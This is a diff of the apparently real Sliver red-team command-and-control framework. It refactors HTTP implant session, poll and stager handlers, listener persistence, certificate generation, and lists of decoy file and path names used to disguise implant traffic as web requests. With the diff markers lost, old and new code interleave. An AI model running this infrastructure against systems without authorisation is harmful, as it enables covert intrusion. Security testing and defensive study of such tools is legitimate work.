} else if extension == c2Config.ImplantConfig.SessionFileExtension {
|
||||
s.sessionHandler(resp, req)
|
||||
return
|
||||
} else {
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
s.authenticatedHandler(resp, req, httpSession)
|
||||
return
|
||||
} else {
|
||||
s.anonymousHandler(resp, req)
|
||||
return
|
||||
}
|
||||
|
||||
// check if this is a new session
|
||||
for _, profile := range s.c2Config {
|
||||
if extension == profile.ImplantConfig.StartSessionFileExtension {
|
||||
s.startSessionHandler(resp, req)
|
||||
return
|
||||
}
|
||||
}
|
||||
// redirect to default page
|
||||
httpLog.Debugf("No pattern matches for request uri")
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Start http session request")
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
func (s *SliverHTTPC2) authenticatedHandler(resp http.ResponseWriter, req *http.Request, session *HTTPSession) {
|
||||
// Poll, session and close requests
|
||||
c2Config, err := db.LoadHTTPC2ConfigByName(session.C2Profile)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
httpLog.Debugf("Failed to resolve http profile %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
encoder, err := getEncoder(req.URL, c2Config)
|
||||
if err != nil {
|
||||
s.closeHandler(resp, req, session)
|
||||
}
|
||||
|
||||
if req.Method == http.MethodPost {
|
||||
s.sessionHandler(resp, req, session, c2Config, encoder)
|
||||
return
|
||||
} else if req.Method == http.MethodGet {
|
||||
s.pollHandler(resp, req, session, encoder)
|
||||
return
|
||||
} else {
|
||||
// unsupported http method
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) anonymousHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
// start session and staging requests
|
||||
|
||||
encoder, err := getEncoder(req.URL, nil)
|
||||
if err != nil {
|
||||
s.stagerHandler(resp, req)
|
||||
return
|
||||
} else {
|
||||
s.startSessionHandler(resp, req, encoder)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request, encoder sliverEncoders.Encoder) {
|
||||
httpLog.Debug("Start http session request")
|
||||
|
||||
body, err := io.ReadAll(req.Body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to read body %s", err)
|
||||
@@ -615,16 +643,11 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
resp.Write(respData)
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession, c2profile *clientpb.HTTPC2Config, encoder sliverEncoders.Encoder) {
|
||||
httpLog.Debug("Session request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
httpSession.ImplantConn.UpdateLastMessage()
|
||||
|
||||
plaintext, err := s.readReqBody(httpSession, resp, req)
|
||||
plaintext, err := s.readReqBody(httpSession, resp, req, c2profile, encoder)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to decode request body: %s", err)
|
||||
s.defaultHandler(resp, req)
|
||||
@@ -656,18 +679,10 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession, encoder sliverEncoders.Encoder) {
|
||||
httpLog.Debug("Poll request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
httpSession.ImplantConn.UpdateLastMessage()
|
||||
|
||||
// We already know we have a valid nonce because of the middleware filter
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, _ := encoders.EncoderFromNonce(nonce)
|
||||
select {
|
||||
case envelope := <-httpSession.ImplantConn.Send:
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
@@ -691,14 +706,7 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
s.defaultHandler(resp, req)
|
||||
return nil, ErrInvalidEncoder
|
||||
}
|
||||
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request, c2profile *clientpb.HTTPC2Config, encoder sliverEncoders.Encoder) ([]byte, error) {
|
||||
|
||||
body, err := io.ReadAll(&io.LimitedReader{
|
||||
R: req.Body,
|
||||
@@ -737,14 +745,8 @@ func (s *SliverHTTPC2) getServerPollTimeout() time.Duration {
|
||||
return pollTimeout
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession) {
|
||||
httpLog.Debug("Close request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
for _, cookie := range req.Cookies() {
|
||||
cookie.MaxAge = -1
|
||||
http.SetCookie(resp, cookie)
|
||||
@@ -755,30 +757,38 @@ func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request)
|
||||
|
||||
// stagerHandler - Serves the sliver shellcode to the stager requesting it
|
||||
func (s *SliverHTTPC2) stagerHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
httpLog.Debug("Stager request")
|
||||
if nonce != 0 {
|
||||
resourceID, err := db.ResourceIDByValue(nonce)
|
||||
if err != nil {
|
||||
httpLog.Infof("No profile with id %#v", nonce)
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
build, _ := db.ImplantBuildByResourceID(resourceID.Value)
|
||||
if build.Stage {
|
||||
payload, err := generate.ImplantFileFromBuild(build)
|
||||
if err != nil {
|
||||
httpLog.Infof("Unable to retrieve Implant build %s", build)
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
|
||||
var (
|
||||
resourceID *clientpb.ResourceID
|
||||
err error
|
||||
)
|
||||
|
||||
nonces, err := getNoncesFromURL(req.URL, 0)
|
||||
if err != nil {
|
||||
s.defaultHandler(resp, req)
|
||||
}
|
||||
|
||||
for _, nonce := range nonces {
|
||||
resourceID, err = db.ResourceIDByValue(nonce)
|
||||
if err == nil {
|
||||
httpLog.Debug("Stager request")
|
||||
build, _ := db.ImplantBuildByResourceID(resourceID.Value)
|
||||
if build.Stage {
|
||||
payload, err := generate.ImplantFileFromBuild(build)
|
||||
if err != nil {
|
||||
httpLog.Infof("Unable to retrieve Implant build %s", build)
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
|
||||
s.noCacheHeader(resp)
|
||||
resp.Write(payload)
|
||||
httpLog.Infof("Serving sliver shellcode (size %d) %s to %s", len(payload), resourceID.Name, getRemoteAddr(req))
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
}
|
||||
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
|
||||
s.noCacheHeader(resp)
|
||||
resp.Write(payload)
|
||||
httpLog.Infof("Serving sliver shellcode (size %d) %s to %s", len(payload), resourceID.Name, getRemoteAddr(req))
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
}
|
||||
}
|
||||
|
||||
s.defaultHandler(resp, req)
|
||||
}
|
||||
|
||||
|
||||
+13
-2
@@ -34,6 +34,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
)
|
||||
@@ -86,6 +87,16 @@ func StartWGListenerJob(wgListener *clientpb.WGListenerReq) (*core.Job, error) {
|
||||
JobCtrl: make(chan bool),
|
||||
}
|
||||
|
||||
listenerJob := &clientpb.ListenerJob{
|
||||
JobID: uint32(job.ID),
|
||||
Type: constants.WGStr,
|
||||
WGConf: wgListener,
|
||||
}
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
done := make(chan bool)
|
||||
|
||||
@@ -229,7 +240,7 @@ func StartHTTPListenerJob(req *clientpb.HTTPListenerReq) (*core.Job, error) {
|
||||
}
|
||||
|
||||
// StartTCPStagerListenerJob - Start a TCP staging payload listener
|
||||
func StartTCPStagerListenerJob(host string, port uint16, profileName string, shellcode []byte) (*core.Job, error) {
|
||||
func StartTCPStagerListenerJob(host string, port uint16, name string, shellcode []byte) (*core.Job, error) {
|
||||
ln, err := StartTCPListener(host, port, shellcode)
|
||||
if err != nil {
|
||||
return nil, err // If we fail to bind don't setup the Job
|
||||
@@ -241,8 +252,8 @@ func StartTCPStagerListenerJob(host string, port uint16, profileName string, she
|
||||
Description: "Raw TCP listener (stager only)",
|
||||
Protocol: "tcp",
|
||||
Port: port,
|
||||
ProfileName: profileName,
|
||||
JobCtrl: make(chan bool),
|
||||
ProfileName: name,
|
||||
}
|
||||
|
||||
go func() {
|
||||
|
||||
+1
-1
@@ -60,7 +60,7 @@ func GenerateCertificateAuthority(caType string, commonName string) (*x509.Certi
|
||||
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
if _, err := os.Stat(certFilePath); os.IsNotExist(err) {
|
||||
certsLog.Infof("Generating certificate authority for '%s'", caType)
|
||||
cert, key := GenerateECCCertificate(caType, commonName, true, false)
|
||||
cert, key := GenerateECCCertificate(caType, commonName, true, false, false)
|
||||
SaveCertificateAuthority(caType, cert, key)
|
||||
}
|
||||
cert, key, err := GetCertificateAuthority(caType)
|
||||
|
||||
@@ -135,7 +135,7 @@ func RemoveCertificate(caType string, keyType string, commonName string) error {
|
||||
// GenerateECCCertificate - Generate a TLS certificate with the given parameters
|
||||
// We choose some reasonable defaults like Curve, Key Size, ValidFor, etc.
|
||||
// Returns two strings `cert` and `key` (PEM Encoded).
|
||||
func GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) {
|
||||
func GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool, isOperator bool) ([]byte, []byte) {
|
||||
|
||||
certsLog.Infof("Generating TLS certificate (ECC) for '%s' ...", commonName)
|
||||
|
||||
@@ -143,7 +143,13 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
|
||||
var err error
|
||||
|
||||
// Generate private key
|
||||
curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
|
||||
var curves []elliptic.Curve
|
||||
if isOperator {
|
||||
curves = []elliptic.Curve{elliptic.P256()}
|
||||
} else {
|
||||
curves = []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
|
||||
}
|
||||
|
||||
curve := curves[randomInt(len(curves))]
|
||||
privateKey, err = ecdsa.GenerateKey(curve, rand.Reader)
|
||||
if err != nil {
|
||||
|
||||
@@ -26,14 +26,14 @@ const (
|
||||
|
||||
// MtlsC2ServerGenerateECCCertificate - Generate a server certificate signed with a given CA
|
||||
func MtlsC2ServerGenerateECCCertificate(host string) ([]byte, []byte, error) {
|
||||
cert, key := GenerateECCCertificate(MtlsServerCA, host, false, false)
|
||||
cert, key := GenerateECCCertificate(MtlsServerCA, host, false, false, false)
|
||||
err := saveCertificate(MtlsServerCA, ECCKey, host, cert, key)
|
||||
return cert, key, err
|
||||
}
|
||||
|
||||
// MtlsC2ImplantGenerateECCCertificate - Generate a server certificate signed with a given CA
|
||||
func MtlsC2ImplantGenerateECCCertificate(name string) ([]byte, []byte, error) {
|
||||
cert, key := GenerateECCCertificate(MtlsImplantCA, name, false, true)
|
||||
cert, key := GenerateECCCertificate(MtlsImplantCA, name, false, true, false)
|
||||
err := saveCertificate(MtlsImplantCA, ECCKey, name, cert, key)
|
||||
return cert, key, err
|
||||
}
|
||||
@@ -37,7 +37,7 @@ const (
|
||||
|
||||
// OperatorClientGenerateCertificate - Generate a certificate signed with a given CA
|
||||
func OperatorClientGenerateCertificate(operator string) ([]byte, []byte, error) {
|
||||
cert, key := GenerateECCCertificate(OperatorCA, operator, false, true)
|
||||
cert, key := GenerateECCCertificate(OperatorCA, operator, false, true, true)
|
||||
err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, operator), cert, key)
|
||||
return cert, key, err
|
||||
}
|
||||
@@ -59,7 +59,7 @@ func OperatorServerGetCertificate(hostname string) ([]byte, []byte, error) {
|
||||
|
||||
// OperatorServerGenerateCertificate - Generate a certificate signed with a given CA
|
||||
func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error) {
|
||||
cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false)
|
||||
cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false, true)
|
||||
err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", serverNamespace, hostname), cert, key)
|
||||
return cert, key, err
|
||||
}
|
||||
|
||||
@@ -123,6 +123,12 @@ func StartPersistentJobs(listenerJobs []*clientpb.ListenerJob) error {
|
||||
return err
|
||||
}
|
||||
j.JobID = uint32(id)
|
||||
case constants.TCPListenerStr:
|
||||
job, err := c2.StartTCPStagerListenerJob(listenerJob.TCPConf.Host, uint16(listenerJob.TCPConf.Port), listenerJob.TCPConf.ProfileName, listenerJob.TCPConf.Data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
j.JobID = uint32(job.ID)
|
||||
}
|
||||
db.UpdateHTTPC2Listener(j)
|
||||
}
|
||||
|
||||
+47
-497
@@ -44,21 +44,9 @@ func CheckHTTPC2ConfigErrors(config *clientpb.HTTPC2Config) error {
|
||||
|
||||
var (
|
||||
ErrMissingCookies = errors.New("server config must specify at least one cookie")
|
||||
ErrMissingStagerFileExt = errors.New("implant config must specify a stager_file_ext")
|
||||
ErrTooFewStagerFiles = errors.New("implant config must specify at least one stager_files value")
|
||||
ErrMissingPollFileExt = errors.New("implant config must specify a poll_file_ext")
|
||||
ErrTooFewPollFiles = errors.New("implant config must specify at least one poll_files value")
|
||||
ErrMissingKeyExchangeFileExt = errors.New("implant config must specify a key_exchange_file_ext")
|
||||
ErrTooFewKeyExchangeFiles = errors.New("implant config must specify at least one key_exchange_files value")
|
||||
ErrMissingCloseFileExt = errors.New("implant config must specify a close_file_ext")
|
||||
ErrTooFewCloseFiles = errors.New("implant config must specify at least one close_files value")
|
||||
ErrMissingStartSessionFileExt = errors.New("implant config must specify a start_session_file_ext")
|
||||
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
|
||||
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
|
||||
ErrNonUniqueFileExt = errors.New("implant config must specify unique file extensions")
|
||||
ErrQueryParamNameLen = errors.New("implant config url query parameter names must be 3 or more characters")
|
||||
ErrDuplicateStageExt = errors.New("stager extension is already used in another C2 profile")
|
||||
ErrDuplicateStartSessionExt = errors.New("start session extension is already used in another C2 profile")
|
||||
ErrMissingExtensions = errors.New("implant config must specify at least one file extension")
|
||||
ErrMissingFiles = errors.New("implant config must specify at least one files value")
|
||||
ErrMissingPaths = errors.New("implant config must specify at least one paths value")
|
||||
ErrDuplicateC2ProfileName = errors.New("C2 Profile name is already in use")
|
||||
ErrMissingC2ProfileName = errors.New("C2 Profile name is required")
|
||||
ErrC2ProfileNotFound = errors.New("C2 Profile does not exist")
|
||||
@@ -93,44 +81,31 @@ func checkServerConfig(config *clientpb.HTTPC2ServerConfig) error {
|
||||
|
||||
func checkImplantConfig(config *clientpb.HTTPC2ImplantConfig) error {
|
||||
|
||||
// MinFiles and MaxFiles
|
||||
if config.MinFiles < 1 {
|
||||
config.MinFiles = 1
|
||||
// min and max used during http c2 config generation
|
||||
if config.MinFileGen < 1 {
|
||||
config.MinFileGen = 1
|
||||
}
|
||||
if config.MaxFiles < config.MinFiles {
|
||||
config.MaxFiles = config.MinFiles
|
||||
if config.MaxFileGen < config.MinFileGen {
|
||||
config.MaxFileGen = config.MinFileGen
|
||||
}
|
||||
if config.MinPathGen < 0 {
|
||||
config.MinPathGen = 0
|
||||
}
|
||||
if config.MaxPathGen < config.MinPathGen {
|
||||
config.MaxPathGen = config.MinPathGen
|
||||
}
|
||||
|
||||
// MinPaths and MaxPaths
|
||||
if config.MinPaths < 0 {
|
||||
config.MinPaths = 0
|
||||
// Path length used during implant operation
|
||||
if config.MinPathLength < 1 {
|
||||
config.MinPathLength = 1
|
||||
}
|
||||
if config.MaxPaths < config.MinPaths {
|
||||
config.MaxPaths = config.MinPaths
|
||||
}
|
||||
|
||||
// Stager
|
||||
config.StagerFileExtension = coerceFileExt(config.StagerFileExtension)
|
||||
if config.StagerFileExtension == "" {
|
||||
return ErrMissingStagerFileExt
|
||||
if config.MaxPathLength < config.MinPathLength {
|
||||
config.MaxPathLength = config.MinPathLength
|
||||
}
|
||||
|
||||
// File Extensions
|
||||
config.PollFileExtension = coerceFileExt(config.PollFileExtension)
|
||||
if config.PollFileExtension == "" {
|
||||
return ErrMissingPollFileExt
|
||||
}
|
||||
config.StartSessionFileExtension = coerceFileExt(config.StartSessionFileExtension)
|
||||
if config.StartSessionFileExtension == "" {
|
||||
return ErrMissingStartSessionFileExt
|
||||
}
|
||||
config.SessionFileExtension = coerceFileExt(config.SessionFileExtension)
|
||||
if config.SessionFileExtension == "" {
|
||||
return ErrMissingSessionFileExt
|
||||
}
|
||||
config.CloseFileExtension = coerceFileExt(config.CloseFileExtension)
|
||||
if config.CloseFileExtension == "" {
|
||||
return ErrMissingCloseFileExt
|
||||
if len(config.Extensions) < 1 {
|
||||
return ErrMissingExtensions
|
||||
}
|
||||
|
||||
/*
|
||||
@@ -156,22 +131,24 @@ func GenerateDefaultHTTPC2Config() *clientpb.HTTPC2Config {
|
||||
pathSegments := GenerateHTTPC2DefaultPathSegment()
|
||||
|
||||
implantConfig := clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: "",
|
||||
ChromeBaseVersion: DefaultChromeBaseVer,
|
||||
MacOSVersion: DefaultMacOSVer,
|
||||
NonceQueryArgChars: "abcdefghijklmnopqrstuvwxyz",
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFiles: 4,
|
||||
MinFiles: 2,
|
||||
MaxPaths: 4,
|
||||
MinPaths: 2,
|
||||
StagerFileExtension: "woff",
|
||||
PollFileExtension: "js",
|
||||
StartSessionFileExtension: "html",
|
||||
SessionFileExtension: "php",
|
||||
CloseFileExtension: "png",
|
||||
PathSegments: pathSegments,
|
||||
UserAgent: "",
|
||||
ChromeBaseVersion: DefaultChromeBaseVer,
|
||||
MacOSVersion: DefaultMacOSVer,
|
||||
NonceQueryArgChars: "abcdefghijklmnopqrstuvwxyz",
|
||||
NonceQueryLength: 1,
|
||||
NonceMode: "UrlParam", // Url or UrlParam
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFileGen: 4,
|
||||
MinFileGen: 2,
|
||||
MaxPathGen: 4,
|
||||
MinPathGen: 2,
|
||||
MaxPathLength: 4,
|
||||
MinPathLength: 2,
|
||||
Extensions: []string{
|
||||
"js", "", "php",
|
||||
},
|
||||
PathSegments: pathSegments,
|
||||
}
|
||||
|
||||
// Server Config
|
||||
@@ -216,73 +193,21 @@ func GenerateHTTPC2DefaultPathSegment() []*clientpb.HTTPC2PathSegment {
|
||||
|
||||
/*
|
||||
IsFile bool
|
||||
SegmentType int32 // Poll, Session, Close, stager
|
||||
Value string
|
||||
*/
|
||||
|
||||
// files
|
||||
for _, poll := range PollFiles {
|
||||
for _, file := range Files {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
IsFile: true,
|
||||
Value: file,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range SessionFiles {
|
||||
for _, path := range Paths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range CloseFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range StagerFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
// paths
|
||||
for _, poll := range PollPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range SessionPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range ClosePaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range StagerPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
IsFile: false,
|
||||
Value: path,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -376,7 +301,7 @@ var (
|
||||
"csrf-state",
|
||||
"AWSALBCORS",
|
||||
}
|
||||
PollFiles = []string{
|
||||
Files = []string{
|
||||
"bootstrap",
|
||||
"bootstrap.min",
|
||||
"jquery.min",
|
||||
@@ -487,7 +412,7 @@ var (
|
||||
"storage",
|
||||
"offline",
|
||||
}
|
||||
PollPaths = []string{
|
||||
Paths = []string{
|
||||
"js",
|
||||
"umd",
|
||||
"assets",
|
||||
@@ -555,379 +480,4 @@ var (
|
||||
"libjs",
|
||||
"libjsscripts",
|
||||
}
|
||||
SessionFiles = []string{
|
||||
"login",
|
||||
"signin",
|
||||
"api",
|
||||
"samples",
|
||||
"rpc",
|
||||
"index",
|
||||
"admin",
|
||||
"register",
|
||||
"sign-up",
|
||||
"index",
|
||||
"config",
|
||||
"functions",
|
||||
"database",
|
||||
"header",
|
||||
"footer",
|
||||
"login",
|
||||
"register",
|
||||
"logout",
|
||||
"profile",
|
||||
"dashboard",
|
||||
"home",
|
||||
"about",
|
||||
"contact",
|
||||
"services",
|
||||
"utils",
|
||||
"common",
|
||||
"init",
|
||||
"auth",
|
||||
"session",
|
||||
"error",
|
||||
"handler",
|
||||
"api",
|
||||
"ajax",
|
||||
"form",
|
||||
"validation",
|
||||
"upload",
|
||||
"download",
|
||||
"report",
|
||||
"admin",
|
||||
"user",
|
||||
"account",
|
||||
"settings",
|
||||
"utility",
|
||||
"script",
|
||||
"mailer",
|
||||
"cron",
|
||||
"cache",
|
||||
"template",
|
||||
"page",
|
||||
"model",
|
||||
"view",
|
||||
"controller",
|
||||
"middleware",
|
||||
"router",
|
||||
"route",
|
||||
"helper",
|
||||
"library",
|
||||
"plugin",
|
||||
"widget",
|
||||
"widgetized",
|
||||
"search",
|
||||
"filter",
|
||||
"sort",
|
||||
"pagination",
|
||||
"backup",
|
||||
"restore",
|
||||
"upgrade",
|
||||
"install",
|
||||
"uninstall",
|
||||
"upgrade",
|
||||
"maintenance",
|
||||
"sitemap",
|
||||
"rss",
|
||||
"atom",
|
||||
"xml",
|
||||
"json",
|
||||
"rss",
|
||||
"log",
|
||||
"debug",
|
||||
"test",
|
||||
"mock",
|
||||
"stub",
|
||||
"mockup",
|
||||
"mockdata",
|
||||
"temp",
|
||||
"tmp",
|
||||
"backup",
|
||||
"old",
|
||||
"new",
|
||||
"demo",
|
||||
"example",
|
||||
"sample",
|
||||
"prototype",
|
||||
"backup",
|
||||
"import",
|
||||
"export",
|
||||
"sync",
|
||||
"async",
|
||||
"validate",
|
||||
"authenticate",
|
||||
}
|
||||
SessionPaths = []string{
|
||||
"php",
|
||||
"api",
|
||||
"upload",
|
||||
"actions",
|
||||
"rest",
|
||||
"v1",
|
||||
"auth",
|
||||
"authenticate",
|
||||
"oauth",
|
||||
"oauth2",
|
||||
"oauth2callback",
|
||||
"database",
|
||||
"db",
|
||||
"namespaces",
|
||||
"home",
|
||||
"about",
|
||||
"contact",
|
||||
"services",
|
||||
"products",
|
||||
"blog",
|
||||
"news",
|
||||
"events",
|
||||
"gallery",
|
||||
"portfolio",
|
||||
"shop",
|
||||
"store",
|
||||
"login",
|
||||
"register",
|
||||
"profile",
|
||||
"dashboard",
|
||||
"account",
|
||||
"settings",
|
||||
"faq",
|
||||
"help",
|
||||
"support",
|
||||
"download",
|
||||
"upload",
|
||||
"subscribe",
|
||||
"unsubscribe",
|
||||
"search",
|
||||
"sitemap",
|
||||
"privacy",
|
||||
"terms",
|
||||
"conditions",
|
||||
"policy",
|
||||
"cookie",
|
||||
"checkout",
|
||||
"cart",
|
||||
"order",
|
||||
"payment",
|
||||
"confirmation",
|
||||
"feedback",
|
||||
"survey",
|
||||
"testimonial",
|
||||
"newsletter",
|
||||
"membership",
|
||||
"forum",
|
||||
"signin",
|
||||
"signup",
|
||||
"forum",
|
||||
"contact-us",
|
||||
"pricing",
|
||||
"donate",
|
||||
"partners",
|
||||
"team",
|
||||
"career",
|
||||
"join-us",
|
||||
"downloads",
|
||||
"events",
|
||||
"explore",
|
||||
"insights",
|
||||
"newsroom",
|
||||
"press",
|
||||
"media",
|
||||
"blog",
|
||||
"articles",
|
||||
"research",
|
||||
"library",
|
||||
"resources",
|
||||
"inspiration",
|
||||
"academy",
|
||||
"labs",
|
||||
"developers",
|
||||
"api",
|
||||
"integration",
|
||||
"status",
|
||||
"changelog",
|
||||
"roadmap",
|
||||
"solutions",
|
||||
"clients",
|
||||
"testimonials",
|
||||
"success-stories",
|
||||
"clients",
|
||||
"partners",
|
||||
"404",
|
||||
"500",
|
||||
"error",
|
||||
"maintenance",
|
||||
"upgrade",
|
||||
}
|
||||
CloseFiles = []string{
|
||||
"image",
|
||||
"logo",
|
||||
"icon",
|
||||
"background",
|
||||
"banner",
|
||||
"button",
|
||||
"avatar",
|
||||
"photo",
|
||||
"picture",
|
||||
"header",
|
||||
"footer",
|
||||
"thumbnail",
|
||||
"screenshot",
|
||||
"cover",
|
||||
"badge",
|
||||
"illustration",
|
||||
"graphic",
|
||||
"map",
|
||||
"diagram",
|
||||
"chart",
|
||||
"emoji",
|
||||
"flag",
|
||||
"arrow",
|
||||
"social",
|
||||
"media",
|
||||
"document",
|
||||
"product",
|
||||
"menu",
|
||||
"navigation",
|
||||
"search",
|
||||
"result",
|
||||
"loading",
|
||||
"progress",
|
||||
"error",
|
||||
"success",
|
||||
"warning",
|
||||
"info",
|
||||
"question",
|
||||
"exclamation",
|
||||
"play",
|
||||
"pause",
|
||||
"stop",
|
||||
"next",
|
||||
"previous",
|
||||
"rewind",
|
||||
"forward",
|
||||
"volume",
|
||||
"mute",
|
||||
"speaker",
|
||||
"microphone",
|
||||
"camera",
|
||||
"video",
|
||||
"audio",
|
||||
"file",
|
||||
"folder",
|
||||
"download",
|
||||
"upload",
|
||||
"share",
|
||||
"like",
|
||||
"heart",
|
||||
"star",
|
||||
"comment",
|
||||
"chat",
|
||||
"speech bubble",
|
||||
"message",
|
||||
"envelope",
|
||||
"mail",
|
||||
"clock",
|
||||
"calendar",
|
||||
"location",
|
||||
"pin",
|
||||
"home",
|
||||
"settings",
|
||||
"gear",
|
||||
"tools",
|
||||
"user",
|
||||
"profile",
|
||||
"login",
|
||||
"logout",
|
||||
"register",
|
||||
"lock",
|
||||
"unlock",
|
||||
"shield",
|
||||
"security",
|
||||
"privacy",
|
||||
"checkmark",
|
||||
"cross",
|
||||
"delete",
|
||||
"trash",
|
||||
"restore",
|
||||
"recycle",
|
||||
"favorite",
|
||||
"bookmark",
|
||||
"star",
|
||||
"eye",
|
||||
"magnifier",
|
||||
"question mark",
|
||||
"information",
|
||||
"exclamationmark",
|
||||
"help",
|
||||
"favicon",
|
||||
"sample",
|
||||
"example",
|
||||
}
|
||||
ClosePaths = []string{
|
||||
"static",
|
||||
"www",
|
||||
"assets",
|
||||
"images",
|
||||
"icons",
|
||||
"image",
|
||||
"icon",
|
